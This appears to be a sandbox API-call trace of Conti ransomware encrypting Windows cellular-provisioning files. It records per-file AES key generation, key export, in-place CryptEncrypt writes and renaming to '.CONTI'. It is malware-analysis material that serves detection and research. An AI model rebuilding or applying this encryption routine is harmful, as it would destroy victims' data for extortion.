	[0108.089] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.089] GetProcessHeap () returned 0x1720000
	[0108.089] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.090] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0108.090] GetProcessHeap () returned 0x1720000
	[0108.090] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c9b90 | out: hHeap=0x1720000) returned 1
	[0108.090] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0108.383] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c7bb0) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d244c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0108.651] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0109.811] GetLastError () returned 0x0
	[0109.811] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=646) returned 1
	[0109.811] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
	[0109.812] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.816] SetEndOfFile (hFile=0x3a8) returned 1
	[0110.470] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.470] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.470] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.472] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.472] ReadFile (in: hFile=0x3a8, lpBuffer=0x9880000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x286, lpOverlapped=0x0) returned 1
	[0110.472] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x286, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x290) returned 1
	[0110.472] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.472] WriteFile (in: hFile=0x3a8, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x290, lpOverlapped=0x0) returned 1
	[0110.472] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.472] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.472] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.472] CloseHandle (hObject=0x3a8) returned 1
	[0110.472] GetProcessHeap () returned 0x1720000
	[0110.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.804] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml"
	[0110.804] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.804] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\185__Connections_Cellular_Telenor Hungary (Hungary)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\185__connections_cellular_telenor hungary (hungary)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.805] GetProcessHeap () returned 0x1720000
	[0110.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.805] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0110.805] GetProcessHeap () returned 0x1720000
	[0110.805] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0fb8 | out: hHeap=0x1720000) returned 1
	[0110.805] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.805] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6513e40 | out: phKey=0x6513e40*=0x17c7b30) returned 1
	[0110.805] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513e44, pdwDataLen=0x3bbfde4 | out: pbData=0x6513e44*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.806] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.806] GetLastError () returned 0x0
	[0110.806] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=763) returned 1
	[0110.806] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2fb
	[0110.806] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.806] SetEndOfFile (hFile=0x30c) returned 1
	[0110.806] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.806] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.807] WriteFile (in: hFile=0x30c, lpBuffer=0x6513e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x6513e44*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.809] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.809] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2fb, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2fb, lpOverlapped=0x0) returned 1
	[0110.809] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2fb, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x300) returned 1
	[0110.809] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.810] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x300, lpOverlapped=0x0) returned 1
	[0110.810] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.810] WriteFile (in: hFile=0x30c, lpBuffer=0x6513e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x6513e38*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.810] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.810] CloseHandle (hObject=0x30c) returned 1
	[0110.810] GetProcessHeap () returned 0x1720000
	[0110.810] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.810] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0110.810] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.810] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\357_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\357_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.811] GetProcessHeap () returned 0x1720000
	[0110.811] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.811] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0110.811] GetProcessHeap () returned 0x1720000
	[0110.811] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6516e98 | out: hHeap=0x1720000) returned 1
	[0110.811] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.811] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65129b8 | out: phKey=0x65129b8*=0x17c7770) returned 1
	[0110.811] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65129bc, pdwDataLen=0x3bbfde4 | out: pbData=0x65129bc*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.812] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0110.812] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.812] GetLastError () returned 0x0
	[0110.812] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=695) returned 1
	[0110.812] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2b7
	[0110.812] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.813] SetEndOfFile (hFile=0x30c) returned 1
	[0110.813] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.813] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.813] WriteFile (in: hFile=0x30c, lpBuffer=0x65129bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65129bc*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0110.819] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.819] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x2b7, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x2b7, lpOverlapped=0x0) returned 1
	[0110.819] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2b7, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x2c0) returned 1
	[0110.819] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.819] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x2c0, lpOverlapped=0x0) returned 1
	[0110.819] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.819] WriteFile (in: hFile=0x30c, lpBuffer=0x65129b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65129b0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0110.820] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.820] CloseHandle (hObject=0x30c) returned 1
	[0110.820] GetProcessHeap () returned 0x1720000
	[0110.820] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.820] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml"
	[0110.820] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml.CONTI"
	[0110.820] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\358_Connections_Cellular_Chelyabinsk Cellular Communications LLC (Russian Federation)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\358_connections_cellular_chelyabinsk cellular communications llc (russian federation)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0110.820] GetProcessHeap () returned 0x1720000
	[0110.820] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.821] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0110.821] GetProcessHeap () returned 0x1720000
	[0110.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e060 | out: hHeap=0x1720000) returned 1
	[0110.821] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0110.821] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x6512c00 | out: phKey=0x6512c00*=0x17c7c30) returned 1
	[0110.821] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x6512c04, pdwDataLen=0x3bbfde4 | out: pbData=0x6512c04*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0110.821] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.822] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\35__Connections_Cellular_Zain BH (Bahrain)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\35__connections_cellular_zain bh (bahrain)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0110.822] GetLastError () returned 0x0
	[0110.822] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=839) returned 1
	[0110.822] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x347
	[0110.822] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.822] SetEndOfFile (hFile=0x30c) returned 1
	[0110.822] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.822] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
